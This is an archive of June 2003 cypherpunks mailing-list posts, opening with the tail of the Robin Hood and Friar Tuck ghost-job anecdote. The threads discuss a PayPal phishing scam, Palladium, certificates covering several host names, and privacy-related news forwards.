     Naturally, the operator called in the operating-system developers.
     They found the bandit ghost jobs running, and X'ed them... and were
     once again surprised.  When Robin Hood was X'ed, the following
     sequence of events took place:

          !X id1

          id1: Friar Tuck... I am under attack!  Pray save me!
          id1: Off (aborted)

          id2: Fear not, friend Robin!  I shall rout the Sheriff
               of Nottingham's men!

          id1: Thank you, my good fellow!

     Each ghost-job would detect the fact that the other had been
     killed, and would start a new copy of the recently slain program
     within a few milliseconds.  The only way to kill both ghosts was to
     kill them simultaneously (very difficult) or to deliberately crash
     the system.

     Finally, the system programmers did the latter --- only to find
     that the bandits appeared once again when the system rebooted!  It
     turned out that these two programs had patched the boot-time OS
     image (the kernel file, in UNIX terms) and had added themselves to
     the list of programs that were to be started at boot time.

     The Robin Hood and Friar Tuck ghosts were finally eradicated when
     the system staff rebooted the system from a clean boot-tape and
     reinstalled the monitor.  Not long thereafter, Xerox released a
     patch for this problem.

     It is alleged that Xerox filed a complaint with Motorola's management
     about the merry-prankster actions of the two employees in question.
     It is not recorded that any serious disciplinary action was taken
     against either of them.




----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Tue, 10 Jun 2003, Bill Frantz wrote:

> At 5:12 PM -0700 6/8/03, Anne & Lynn Wheeler wrote:
> >somebody (else) commented (in the thread) that anybody that currently
> >(still) writes code resulting in buffer overflow exploit maybe should be
> >thrown in jail.
> 
> A nice essay, partially on the need to include technological protections
> against human error, included the above paragraph.
> 
> IMHO, the problem is that the C language is just too error prone to be used
> for most software.  In "Thirty Years Later:  Lessons from the Multics
> Security Evaluation",  Paul A. Karger and Roger R. Schell
> <www.acsac.org/2002/papers/classic-multics.pdf> credit the use of PL/I for
> the lack of buffer overruns in Multics.  However, in the Unix/Linux/PC/Mac
> world, a successor language has not yet appeared.




From jya at pipeline.com  Wed Jun 11 11:09:12 2003
From: jya at pipeline.com (John Young)
Date: Wed, 11 Jun 2003 11:09:12 -0700
Subject: Secrets of Computer Espionage: Tactics and Countermeasures
Message-ID: <E19Q7E9-0007AQ-00@blount.mail.mindspring.net>

New book by cpunk Joel McNamara who runs the Tempest website:

   http://www.eskimo.com/~joel/tempest.html


http://www.wiley.com/legacy/compbooks/mcnamara/

Secrets of Computer Espionage: Tactics and Countermeasures

by Joel McNamara

Covers electronic and wireless eavesdropping, computer surveillance, 
intelligence gathering, password cracking, keylogging, data duplication, 
black bag computer spy jobs, reconnaissance, risk assessment, legal 
issues, and advanced spying techniques used by the government.

Author shares easily-implemented countermeasures against spying to 
detect and defeat eavesdroppers and other hostile individuals.

Addresses legal issues, including the U.S. Patriot Act, legal spying in 
the workplace, and computer fraud crimes. 

ISBN 0-7645-3710-5
384 Pages
June 2003

Links:


http://www.wiley.com/legacy/compbooks/mcnamara/links.html




From ashwood at msn.com  Wed Jun 11 11:52:38 2003
From: ashwood at msn.com (Joseph Ashwood)
Date: Wed, 11 Jun 2003 11:52:38 -0700
Subject: An attack on paypal --> secure UI for browsers
References: <e859def3b45befc535fa83384d8cf7bf@remailer.cryptofortress.co
  m>
Message-ID: <00c001c3304c$796d7490$6601a8c0@JOSEPHAS>

----- Original Message ----- 
From: "Anonymous" <nobody at cryptofortress.com>
Subject:  Re: An attack on paypal --> secure UI for browsers


> You clearly know virtually nothing about Palladium.

Actually, properly designed Palladium would be little more than a smart card
welded to the motherboard. As currently designed it is a complete second
system that is allowed to take over the main processor. It has a few aspects
of what it should be, but not many. It does include the various aspects of
the smart card, but it also makes room for those aspects to take over the
main system, properly designed this would not be an option, of course
properly designed it could also be a permanently attached $1 smart card that
internally hangs off the USB controller instead of a mammoth undertaking.

I still stand by, "Arbitrarily trusting anyone to write a secure program
simply doesn't work" regardless of how many times MS says "trust us" any
substantially educated person should as well be prepared to either trust a
preponderance of evidence, or perform their own examination, neither of
these options is available. The information available does not cover the
technical information, in fact their "Technical FAQ" about it actually has
the following:
"Q: Does this technology require an online connection to be used?

A: No. "

That is just sooooo enlightening, and is about as far from a useful answer
as possible.


> NCAs do not have
> "complete access to private information".  Quite the opposite.  Rather,
> NCAs have the power to protect private information such that no other
> software on the machine can access it.  They do so by using the Palladium
> software and hardware to encrypt the private data.  The encryption is
> done in such a way that it is "sealed" to the particular NCA, and no other
> software is allowed to use the Palladium crypto hardware to decrypt it.

This applies only under the condition that the software in Palladium is
perfectly secure. Again I point to the issues with ActiveX, where a wide
variety of hoels have been found, I point to the newest MS operating system
which has it even been out a month yet? and already has a security patch
available, in spite of their "secure by default" process. Again I don't
believe this is because MS is inherently bad, it is because writing secure
programs is extremely difficult, MS just has the most feature bloat so they
have the most problems. If the Palladium software is actually secure
(unlikely), then there is the issue of how the (foolishly trusted) NCAs are
determined to be the same, this is an easy problem to solve if no one ever
added features, but a hard one to solve where the program evolves, once MS
shows the solution for this, I will point to the same information and show
you a security hole.

> In the proposed usage, an NCA associated with an ecommerce site would seal
> the data which is used by the user to authenticate to the remote site.

After running unattended on your computer, a <sarcasm>brilliant</sarcasm>
idea, hasn't anyone learned?

> The authentication data doesn't actually have to be a certificate with
> associated key, but that would be one possibility.  Only NCAs signed by
> that ecommerce site's key would be able to unseal and access the user's
> authentication credentials.  This prevents rogue software from stealing
> them and impersonating the user.

Not in the slightest, a single compromise of a single ecommerce site
(remember they're "trusted") will remove all this pretend security. Let's
use a particularly popular example on here right now www.e-go1d.com, they
could easily apply to be an ecommerce site, they collect money, they offer a
service, clearly they are an ecommerce site. Are you really gullible enough
to believe that they won't do everything in their power to exploit the data
transfer problem above, as well as any other holes in Palladium? I should
hope not.


> Seriously, have you read any
> of the documents linked from http://www.microsoft.com/resources/ngscb/?

Yes I have, in fact at this point I think it is safe to say that you have
not, or you didn't understand the implications of the small amount of
information it actually contains.
                    Joe




From lynn at garlic.com  Wed Jun 11 11:42:50 2003
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Wed, 11 Jun 2003 12:42:50 -0600
Subject: An attack on paypal
In-Reply-To: <Pine.BSO.4.21.0306111049300.463-100000@anon7.arachelian.co
 m>
References: <3EE5F9DD.10939.696EC1A@localhost>
Message-ID: <4.2.2.20030611123835.00ba6ee0@mail.earthlink.net>

At 10:56 AM 6/11/2003 -0400, Sunder wrote:
>In either case, we wouldn't need to worry about paying Verisign or anyone
>else if we had properly secured DNS.  Then you could trust those pop-up
>self-signed SSL cert warnings.

actually, if you had a properly secured DNS .... then you could trust DNS 
to distribute public keys bound to a domain name in the same way they 
distribute ip-addresses bound to a domain name.

the certificates serve two purposes: 1) is the server that we think we are 
talking to really the server we are talking to and 2) key-exchange for 
establishing an encrypted channel. a properly secured DNS would allow 
information distributed by DNS to be trusted .... including a server's 
public key .... and given the public key .... it would be possible to do 
the rest of the SSL operation (w/o requiring certificates) which is 
establishing an agreed upon session secret key.
--
Anne & Lynn Wheeler    http://www.garlic.com/~lynn/
Internet trivia 20th anv http://www.garlic.com/~lynn/rfcietff.htm
  


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From jsd at monmouth.com  Wed Jun 11 09:53:25 2003
From: jsd at monmouth.com (John S. Denker)
Date: Wed, 11 Jun 2003 12:53:25 -0400
Subject: https for virtual hosts (was: attack on paypal)
In-Reply-To: <Pine.BSO.4.21.0306111049300.463-100000@anon7.arachelian.com>
References: <Pine.BSO.4.21.0306111049300.463-100000@anon7.arachelian.com>
Message-ID: <3EE75E85.4010708@monmouth.com>

On 06/11/2003 10:56 AM, Sunder wrote:
> 
> www.foo.com www.bar.com www.baz.com can't all live on the same IP and
> have individual ssl certs for https. :(  This is because the cert is
> exchanged before the http 1.1 layer can say "I want www.bar.com" 
> 
> So you need to waste IP's for this.  Since the browser standards are
> already in place, it's unlikely to be to find a workaround.

A reasonable workaround might be something like:
   http://www.ietf.org/rfc/rfc3056.txt
    ... to allow isolated IPv6 domains or
    hosts, attached to an IPv4 network which has no native IPv6 support,
    to communicate with other such IPv6 domains or hosts with minimal
    manual configuration, before they can obtain natuve IPv6
    connectivity.  It incidentally provides an interim globally unique
    IPv6 address prefix to any site with at least one globally unique
    IPv4 address, even if combined with an IPv4 Network Address
    Translator (NAT).


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From crawdad at fnal.gov  Wed Jun 11 12:13:25 2003
From: crawdad at fnal.gov (Matt Crawford)
Date: Wed, 11 Jun 2003 14:13:25 -0500
Subject: An attack on paypal 
In-Reply-To: Your message of Wed, 11 Jun 2003 10:56:21 EDT.
  <Pine.BSO.4.21.0306111049300.463-100000@anon7.arachelian.com> 
Message-ID: <200306111913.h5BJDPV1004648@gungnir.fnal.gov>

> The worst trouble I've had with https is that you have no way to use host
> header names to differentiate between sites that require different SSL
> certificates.

True as written, but Netscrape ind Internet Exploder each have a hack
for honoring the same cert for multiple server names.  Opera seems to
honor at least one of the two hacks, and a cert can incorporate both
at once.

	/C=US/ST=Illinois/L=Batavia/O=Fermilab/OU=Services
	/CN=(alpha|bravo|charlie).fnal.gov/CN=alpha.fnal.gov
	/CN=bravo.fnal.gov/CN=charlie.fnal.gov

> So you need to waste IP's for this.

Waste?  Heck no, that's what they're for!




From DaveHowe at gmx.co.uk  Wed Jun 11 07:00:07 2003
From: DaveHowe at gmx.co.uk (Dave Howe)
Date: Wed, 11 Jun 2003 15:00:07 +0100
Subject: An attack on paypal
References: <3EE5F9DD.15532.696EBE8@localhost>
Message-ID: <000401c33023$80e18dc0$c71121c2@exchange.sharpuk.co.uk>

James A. Donald wrote:
> How many attacks have there been based on automatic trust of
> verisign's feckless ID checking?   Not many, possibly none.
I imagine if there exists a https://www.go1d.com/ site for purposes of
fraud, it won't be using a self-signed cert. Of course it is possible that
the attackers are using http:// instead, but more people are likely to
notice that.

> That is not the weak point, not the point where the attacks
> occur.   If the browser was set to accept self signed
> certificates by default, it would make little difference to
> security.
I don't think any currently can be - but regardless, an attacker wishing to
run a fraudulent https site must have a certificate acceptable to the
majority of browsers without changing settings - That currently is the big
name CAs and nobody else.




From cypherpunks at salvagingelectrons.com  Wed Jun 11 12:24:17 2003
From: cypherpunks at salvagingelectrons.com (Tim Meehan)
Date: Wed, 11 Jun 2003 15:24:17 -0400
Subject: Passport to Brinworld: Canadian Passport office digitizing all
  photos for UN database
Message-ID: <1d0fev8cluunih9tu4ebfk99p3vbpcsqfn@4ax.com>

http://cnews.canoe.ca/CNEWS/Canada/2003/06/11/108882.html

Your ID going digital

By TOM GODFREY - Toronto Sun


The passport office has begun digitizing the photographs of millions of
Canadians whose mugshots may end up in a United Nations-sanctioned global facial
recognition database. The move is to meet standards set by the UN's
International Civil Aviation Organization (ICAO), which requires a tiny computer
chip with a person's picture and basic information be input into every passport
from its 188 member states. 

ICAO officials last week ruled facial recognition technology will be the method
used to identify travellers, who will have their photos downloaded into the
database of a foreign country every time their passport is scanned at a border. 

The UN body said the global database can be used to nab or monitor terrorists,
fugitives and others sought by police. 

All passports will be chipped 

Jacques Perron, of the Canadian Passport Office, said about four million
Canadians have had their photos digitized since the program began two years ago.

"At some point every Canadian passport will have a chip inside," Perron said.
"There is nothing to prevent nations from collecting data and putting them on a
database." 

He said no date has been set for when the chip will be inside Canadian
passports, but officials are using facial recognition to screen people applying
for passports to curb fraud. 

ICAO spokesman Denis Chagnon said facial recognition will increase air security
and speed up the flow of passengers. 

"If police are trying to find someone their face can be flagged on a database,"
Chagnon said. "Anyone who holds a passport will become part of a global
database." 




From smb at research.att.com  Wed Jun 11 13:06:55 2003
From: smb at research.att.com (Steven M. Bellovin)
Date: Wed, 11 Jun 2003 16:06:55 -0400
Subject: An attack on paypal 
Message-ID: <20030611200655.538B67B4D@berkshire.research.att.com>

In message <200306111913.h5BJDPV1004648 at gungnir.fnal.gov>, "Matt Crawford" writ
es:
>> The worst trouble I've had with https is that you have no way to use host
>> header names to differentiate between sites that require different SSL
>> certificates.
>
>True as written, but Netscrape ind Internet Exploder each have a hack
>for honoring the same cert for multiple server names.  Opera seems to
>honor at least one of the two hacks, and a cert can incorporate both
>at once.
>
>	/C=US/ST=Illinois/L=Batavia/O=Fermilab/OU=Services
>	/CN=(alpha|bravo|charlie).fnal.gov/CN=alpha.fnal.gov
>	/CN=bravo.fnal.gov/CN=charlie.fnal.gov

You can also use *.fnal.gov

		--Steve Bellovin, http://www.research.att.com/~smb (me)
		http://www.wilyhacker.com (2nd edition of "Firewalls" book)



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From jis at MIT.EDU  Wed Jun 11 13:10:21 2003
From: jis at MIT.EDU (Jeffrey I. Schiller)
Date: Wed, 11 Jun 2003 16:10:21 -0400
Subject: The real problem that https has conspicuously failed to fix
References: <001401c32dfe$90cccd70$6401a8c0@amd1900> <20030608231147.GA9890@piper.madduck.net> <20030609043804.3ACCF111C3@rant-central.com>
Message-ID: <3EE78CAD.8030909@mit.edu>

Folks, this isn't an https (or even http) problem. It is a tough user 
interface issue. Note: The form posting goes to www.pos2life.biz, which 
doesn't remotely look like paypal.com!

To make matters worse, there are plenty of businesses that send you leg 
imitate email that comes from a "random" looking place. Just today I 
received one from MIT's Alumni Association, but the actual source was 
something like m0.email-foobar.com (or something). Obviously the Alumni 
Association outsources the sending of the mail to some third party 
company. So even if we came up with some fancy was of saying "This form 
doesn't post to the same place this page came from [never mind that the 
original of an e-mail form is ill defined]" won't help.

I also received this scam mail. There were only two hints of badness 
(besides the obvious request for personal info that paypal shouldn't 
need) one was the form posting and the other was the "Received-by" line 
which my mail system put on the message which showed its original at a 
suspicious place (I believe in Japan, but I may have remembered wrong, 
it didn't look right at the time).

This is a social problem. Technical measures can help, but won't solve 
it, I am afraid.

			-Jeff

Roy M.Silvernail wrote:
> On Sunday 08 June 2003 06:11 pm, martin f krafft wrote:
> 
>>also sprach James A. Donald <jamesd at echeque.com> [2003.06.08.2243 +0200]:
>>
>>>(When you hit the submit button, guess what happens)
>>
>>How many people actually read dialog boxes before hitting Yes or OK?
> 
> 
> It's slightly more subtle.  The action tag of a form submission isn't usually 
> visible to the user like links are.  In the scam copy I received, all the 
> links save one pointed to legitimate PayPal documents.  Only the <form 
> action= gave it away, and you have to view source to see that.
> 
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From frantz at pwpconsult.com  Wed Jun 11 19:14:21 2003
From: frantz at pwpconsult.com (Bill Frantz)
Date: Wed, 11 Jun 2003 19:14:21 -0700
Subject: An attack on paypal
In-Reply-To: <3EE76E93.ACAE0DF3@cdc.gov>
Message-ID: <v03110701bb0d919433d7@[192.168.1.5]>

At 11:01 AM -0700 6/11/03, Major Variola (ret) wrote:
>At 03:39 PM 6/10/03 -0700, Bill Frantz wrote:
>>IMHO, the problem is that the C language is just too error prone to be
>used
>>for most software.  In "Thirty Years Later:  Lessons from the Multics
>>Security Evaluation",  Paul A. Karger and Roger R. Schell
>><www.acsac.org/2002/papers/classic-multics.pdf> credit the use of PL/I
>for
>>the lack of buffer overruns in Multics.  However, in the
>Unix/Linux/PC/Mac
>>world, a successor language has not yet appeared.
>
>What about Java?  Apart from implementation bugs, its secure by design.

Java is certainly an improvement for buffer overruns.  (The last estimate I
heard was that 1/3 of the penetrations were due to buffer overruns.)  Java
is still semi-intrepreted, so it is probably too slow for some
applications.  However Java is being used for server-side scripting with
web servers, where the safety of the language is a definite advantage.

Of course, when you cover one hole, people move on to others.  Server-side
Java is succeptable to SQL injection attacks for example.

Cheers - Bill


-------------------------------------------------------------------------
Bill Frantz           | Due process for all    | Periwinkle -- Consulting
(408)356-8506         | used to be the         | 16345 Englewood Ave.
frantz at pwpconsult.com | American way.          | Los Gatos, CA 95032, USA




From ravage at einstein.ssz.com  Wed Jun 11 20:21:09 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Wed, 11 Jun 2003 22:21:09 -0500 (CDT)
Subject: Slashdot | FTC Wants Secret Spam Investigation Powers (fwd)
Message-ID: <Pine.LNX.4.33.0306112220550.9676-100000@einstein.ssz.com>

http://yro.slashdot.org/article.pl?sid=03/06/11/222206


 --
    ____________________________________________________________________

      We are all interested in the future for that is where you and I
      are going to spend the rest of our lives.

                              Criswell, "Plan 9 from Outer Space"

      ravage at ssz.com                            jchoate at open-forge.org
      www.ssz.com                               www.open-forge.org
    --------------------------------------------------------------------




From ravage at einstein.ssz.com  Wed Jun 11 20:21:35 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Wed, 11 Jun 2003 22:21:35 -0500 (CDT)
Subject: Online NewsHour: Forum -- Copyright Conundrum (fwd)
Message-ID: <Pine.LNX.4.33.0306112221110.9676-100000@einstein.ssz.com>

http://www.pbs.org/newshour/forum/june03/copyright.html


 --
    ____________________________________________________________________

      We are all interested in the future for that is where you and I
      are going to spend the rest of our lives.

                              Criswell, "Plan 9 from Outer Space"

      ravage at ssz.com                            jchoate at open-forge.org
      www.ssz.com                               www.open-forge.org
    --------------------------------------------------------------------




From cryptomjs at eudoramail.com  Thu Jun 12 02:36:25 2003
From: cryptomjs at eudoramail.com (Mark Saarelainen)
Date: Thu, 12 Jun 2003 02:36:25 -0700
Subject: Please post this on the USENET : alt.politics.org.ciaforme ....
  somebody tries t
Message-ID: <CHCBLELEGDNEGDAA@whowhere.com>

They stopped my USENET communication after I had told that my thesis on the business consolidation of a foreign corporation in the North America was 100 % correct. I had told in 1991 that the consolidation of Ahlstrom Machinery, Inc. (AMI) was a failure and unsuccessful. During the 1990s many Ahsltrom Machinery's businesses were sold and the remaining parts were or are to be sold to Andritz from Graz, Austria in 2003. I had told them the truth in 1991 and I was punished by the executive management of AMI and people spread bad stories about me and my thesis in 1991 although it was graded as very good by one Professor. The Business Development Director of Ahsltrom Machinery, Inc. even forced me to change my thesis tosome extent by threatening to prevent me from graduating as the Masters of Science in Industrial Engineering and Management in April/May, 1991. His name is Markku Perkola. Itwas just my academic work.They had even told to my so called birthmother that my thesis was!
  no
t good, although it was graded as very good and as it is now concluded I was 100 % correct and right. So my thesis was right and these people of Ahsltrom Machinery and many people of Varkaus, Finland, just wanted to hurt me and destroyed my careerat my age of 24 (12 years ago), when I had told them the truth about the failing business operations of Ahsltrom Machinery in the North America in 1991. 
 
So as the conclusion I was punished by people of Finland after I had told them the truth,which was my job in the first place. I was hired to write my thesis on their business consolidation and I told the truth. As we know now today Ahlstrom Machinery does not exist any longer.
 
Markku J. Saarelainen
Varkaus, Finland
 
----
 
5/31/2003
 
 Andritz acquires 50% of Ahlstrom Machinery Group - extension to 
100% possible
Increase of sales by 50% to 1,000 million Euros

Graz (Austria) based Andritz AG initially buys 50 per cent of the Finnish

Ahlstrom Machinery Group. The acquisition became effective as of May 
31, 2000, after obtaining the required permissions under anti-trust 
laws. Ahlstrom Machinery Group's future company name will be Andritz-
Ahlstrom Corporation. Both Andritz and the Seller have options whose 
exercise would make Andritz the sole owner of Ahlstrom Machinery 
Group.



Need a new email address that people can remember
Check out the new EudoraMail at
http://www.eudoramail.com




From Mark  Thu Jun 12 02:37:02 2003
From: Mark (Mark)
Date: Thu, 12 Jun 2003 02:37:02 -0700
Subject: Please post this on the USENET : alt.politics.org.ciaforme ....  somebody tries t
Message-ID: <mailman.736.1576007633.31620.cypherpunks-legacy@lists.cpunks.org>

They stopped my USENET communication after I had told that my thesis on the business consolidation of a foreign corporation in the North America was 100 % correct. I had told in 1991 that the consolidation of Ahlstrom Machinery, Inc. (AMI) was a failure and unsuccessful. During the 1990s many Ahsltrom Machinery's businesses were sold and the remaining parts were or are to be sold to Andritz from Graz, Austria in 2003. I had told them the truth in 1991 and I was punished by the executive management of AMI and people spread bad stories about me and my thesis in 1991 although it was graded as very good by one Professor. The Business Development Director of Ahsltrom Machinery, Inc. even forced me to change my thesis tosome extent by threatening to prevent me from graduating as the Masters of Science in Industrial Engineering and Management in April/May, 1991. His name is Markku Perkola. Itwas just my academic work.They had even told to my so called birthmother that my thesis was!
  no
t good, although it was graded as very good and as it is now concluded I was 100 % correct and right. So my thesis was right and these people of Ahsltrom Machinery and many people of Varkaus, Finland, just wanted to hurt me and destroyed my careerat my age of 24 (12 years ago), when I had told them the truth about the failing business operations of Ahsltrom Machinery in the North America in 1991.

So as the conclusion I was punished by people of Finland after I had told them the truth,which was my job in the first place. I was hired to write my thesis on their business consolidation and I told the truth. As we know now today Ahlstrom Machinery does not exist any longer.

Markku J. Saarelainen
Varkaus, Finland

----

5/31/2003

 Andritz acquires 50% of Ahlstrom Machinery Group - extension to
100% possible
Increase of sales by 50% to 1,000 million Euros

Graz (Austria) based Andritz AG initially buys 50 per cent of the Finnish

Ahlstrom Machinery Group. The acquisition became effective as of May
31, 2000, after obtaining the required permissions under anti-trust
laws. Ahlstrom Machinery Group's future company name will be Andritz-
Ahlstrom Corporation. Both Andritz and the Seller have options whose
exercise would make Andritz the sole owner of Ahlstrom Machinery
Group.



Need a new email address that people can remember
Check out the new EudoraMail at
http://www.eudoramail.com

------------------------------- END TRANSMISSION -------------------------------




From cryptomjs at eudoramail.com  Thu Jun 12 02:37:02 2003
From: cryptomjs at eudoramail.com (Mark Saarelainen)
Date: Thu, 12 Jun 2003 02:37:02 -0700
Subject: Please post this on the USENET : alt.politics.org.ciaforme ....
  somebody tries t
Message-ID: <IMIDKDFPODNEGDAA@whowhere.com>

They stopped my USENET communication after I had told that my thesis on the business consolidation of a foreign corporation in the North America was 100 % correct. I had told in 1991 that the consolidation of Ahlstrom Machinery, Inc. (AMI) was a failure and unsuccessful. During the 1990s many Ahsltrom Machinery's businesses were sold and the remaining parts were or are to be sold to Andritz from Graz, Austria in 2003. I had told them the truth in 1991 and I was punished by the executive management of AMI and people spread bad stories about me and my thesis in 1991 although it was graded as very good by one Professor. The Business Development Director of Ahsltrom Machinery, Inc. even forced me to change my thesis tosome extent by threatening to prevent me from graduating as the Masters of Science in Industrial Engineering and Management in April/May, 1991. His name is Markku Perkola. Itwas just my academic work.They had even told to my so called birthmother that my thesis was!
  no
t good, although it was graded as very good and as it is now concluded I was 100 % correct and right. So my thesis was right and these people of Ahsltrom Machinery and many people of Varkaus, Finland, just wanted to hurt me and destroyed my careerat my age of 24 (12 years ago), when I had told them the truth about the failing business operations of Ahsltrom Machinery in the North America in 1991. 
 
So as the conclusion I was punished by people of Finland after I had told them the truth,which was my job in the first place. I was hired to write my thesis on their business consolidation and I told the truth. As we know now today Ahlstrom Machinery does not exist any longer.
 
Markku J. Saarelainen
Varkaus, Finland
 
----
 
5/31/2003
 
 Andritz acquires 50% of Ahlstrom Machinery Group - extension to 
100% possible
Increase of sales by 50% to 1,000 million Euros

Graz (Austria) based Andritz AG initially buys 50 per cent of the Finnish

Ahlstrom Machinery Group. The acquisition became effective as of May 
31, 2000, after obtaining the required permissions under anti-trust 
laws. Ahlstrom Machinery Group's future company name will be Andritz-
Ahlstrom Corporation. Both Andritz and the Seller have options whose 
exercise would make Andritz the sole owner of Ahlstrom Machinery 
Group.



Need a new email address that people can remember
Check out the new EudoraMail at
http://www.eudoramail.com




From crawdad at fnal.gov  Thu Jun 12 06:54:29 2003
From: crawdad at fnal.gov (Matt Crawford)
Date: Thu, 12 Jun 2003 08:54:29 -0500
Subject: An attack on paypal 
In-Reply-To: Your message of Wed, 11 Jun 2003 16:06:55 EDT.
             <20030611200655.538B67B4D@berkshire.research.att.com> 
Message-ID: <200306121354.h5CDsTV1009721@gungnir.fnal.gov>

> You can also use *.fnal.gov

Yes, we know, but our in-house CA operator (me) won't issue such a
certificate.


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From crawdad at fnal.gov  Thu Jun 12 07:30:17 2003
From: crawdad at fnal.gov (Matt Crawford)
Date: Thu, 12 Jun 2003 09:30:17 -0500
Subject: An attack on paypal 
In-Reply-To: Your message of Thu, 12 Jun 2003 16:35:11 +1200.
             <200306120435.h5C4ZB428720@medusa01.cs.auckland.ac.nz> 
Message-ID: <200306121430.h5CEUHV1011905@gungnir.fnal.gov>

> "Matt Crawford" <crawdad at fnal.gov> writes:
> >... Netscrape ind Internet Exploder each have a hack for
> >honoring the same cert for multiple server names.  Opera seems to honor at
> >least one of the two hacks, and a cert can incorporate both at once.
> >
> >       /C=US/ST=Illinois/L=Batavia/O=Fermilab/OU=Services
> >       /CN=(alpha|bravo|charlie).fnal.gov/CN=alpha.fnal.gov
> >       /CN=bravo.fnal.gov/CN=charlie.fnal.gov
> 
> Just to clarify this, so you need a multivalued CN, with one containing the
> expression "(a|b|c)" and the remaining containing each of "a", "b", and "c"?
> Is it multiple AVAs in an RDN, or multiple RDNs?   (Either of these could be
> hard to generate with a lot of software, which can't handle multiple AVAs in
> an RDN or multiple same-type RDNs).  Which hack is for MSIE and which is for
> Netscape?

Each CN is in a single-element RDN as usual. Netscape honors only the
first CN in the SubjectDN, but will treat it as a restricted regex
(shell-like * wildcard, alternation and grouping). IE checks the
server name against each CN's individually.

This was mainly determined by experimentation.  I think we did find a
limit on how long that first regex could be, but I don't remember
what it was.  Longer than my example, but short enough that some of
our bigger virtual-hosting servers were inconvenienced by it.

Openssl has no qualms about multiple same-type components.  You just
have to use the somewhat documented

0.commonName = ...
1.commonName = ...
2.commonName = ...

in the configuration file.

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From mv at cdc.gov  Thu Jun 12 09:42:49 2003
From: mv at cdc.gov (Major Variola (ret.))
Date: Thu, 12 Jun 2003 09:42:49 -0700
Subject: Busted for hijacking web site (social engr)
Message-ID: <3EE8AD88.6AFC0CD7@cdc.gov>

Man Is Accused of Hijacking Web Site
[*]  He allegedly diverted Al Jazeera viewers to a bogus home page at

the height of the war.

By David Rosenzweig, Times Staff Writer

                    A California man has been charged by federal
authorities with hijacking Al
                    Jazeera's Internet Web site during the Iraqi war and
diverting viewers to a bogus
                    home page that displayed an American flag and the
message, "Let freedom ring."

                    John William Racine II, a 24-year-old Web site
designer from Norco, has agreed
                    to plead guilty to wire fraud and unlawful
interception of an electronic
                    communication, a spokesman for the U.S. attorney's
office said Wednesday .

                    Impersonating an employee of the Arab television
network's Web site, Racine
                    allegedly tricked an Internet service provider into
changing a password that
                    enabled him to commandeer the Al Jazeera site,
according to a criminal complaint.

                    Racine was accused of intercepting about 300 e-mail
messages intended for Al
                    Jazeera before the takeover was discovered during
the height of the war in
                    March.

                    Al Jazeera, the popular Arab satellite television
channel based in Qatar, has been
                    the target of some criticism in the United States
because of its airing of
                    videotaped pronouncements from fugitive Al Qaeda
leaders

                    Al Jazeera is backed by the government of Qatar but
is widely perceived as
                    editorially independent, experts said.

                    Racine could not be reached for comment Wednesday.

http://www.latimes.com/news/local/la-me-jazeera12jun12,1,4525407.story?coll=la-headlines-california




From sunder at sunder.net  Thu Jun 12 07:58:58 2003
From: sunder at sunder.net (Sunder)
Date: Thu, 12 Jun 2003 10:58:58 -0400 (edt)
Subject: sic transit blix
Message-ID: <Pine.BSO.4.21.0306121053180.470-100000@anon7.arachelian.com>

http://www.newsday.com/news/nationworld/world/ny-woblix123329266jun12,0,3668966.story?coll=ny-worldnews-headlines

June 12, 2003

London - Chief United Nations weapons inspector Hans
Blix, in an interview published yesterday, accused U.S. officials of
mounting a smear campaign against him.
<SNIP>
 "But toward the end, the [Bush] administration leaned on us."
<SNIP>



and more of the same here:


http://www.newsday.com/news/nationworld/world/ny-woblix12q3329323jun12,0,2015635.story?coll=ny-worldnews-headlines



Not that any of this is in any way unexpected.


----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------




From kelsey.j at ix.netcom.com  Thu Jun 12 09:19:52 2003
From: kelsey.j at ix.netcom.com (John Kelsey)
Date: Thu, 12 Jun 2003 12:19:52 -0400
Subject: sic transit blix
In-Reply-To: <Pine.BSO.4.21.0306121053180.470-100000@anon7.arachelian.co
  m>
Message-ID: <5.2.0.9.0.20030612121817.0460d090@pop.ix.netcom.com>

At 10:58 AM 6/12/03 -0400, Sunder wrote:
...

We were shocked--*shocked*--to discover that lying was being used in 
diplomacy.  Oh, the horror!


--John Kelsey, kelsey.j at ix.netcom.com
PGP: FA48 3237 9AD5 30AC EEDD  BBC8 2A80 6948 4CAA F259




From pgut001 at cs.auckland.ac.nz  Wed Jun 11 21:35:11 2003
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Thu, 12 Jun 2003 16:35:11 +1200
Subject: An attack on paypal
Message-ID: <200306120435.h5C4ZB428720@medusa01.cs.auckland.ac.nz>

"Matt Crawford" <crawdad at fnal.gov> writes:

>True as written, but Netscrape ind Internet Exploder each have a hack for
>honoring the same cert for multiple server names.  Opera seems to honor at
>least one of the two hacks, and a cert can incorporate both at once.
>
>       /C=US/ST=Illinois/L=Batavia/O=Fermilab/OU=Services
>       /CN=(alpha|bravo|charlie).fnal.gov/CN=alpha.fnal.gov
>       /CN=bravo.fnal.gov/CN=charlie.fnal.gov

Just to clarify this, so you need a multivalued CN, with one containing the
expression "(a|b|c)" and the remaining containing each of "a", "b", and "c"?
Is it multiple AVAs in an RDN, or multiple RDNs?   (Either of these could be
hard to generate with a lot of software, which can't handle multiple AVAs in
an RDN or multiple same-type RDNs).  Which hack is for MSIE and which is for
Netscape?

Peter.

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From nospam at vguild.com  Thu Jun 12 18:03:33 2003
From: nospam at vguild.com (Adam Selene)
Date: Thu, 12 Jun 2003 19:03:33 -0600
Subject: An attack on paypal
References: <200306120435.h5C4ZB428720@medusa01.cs.auckland.ac.nz>
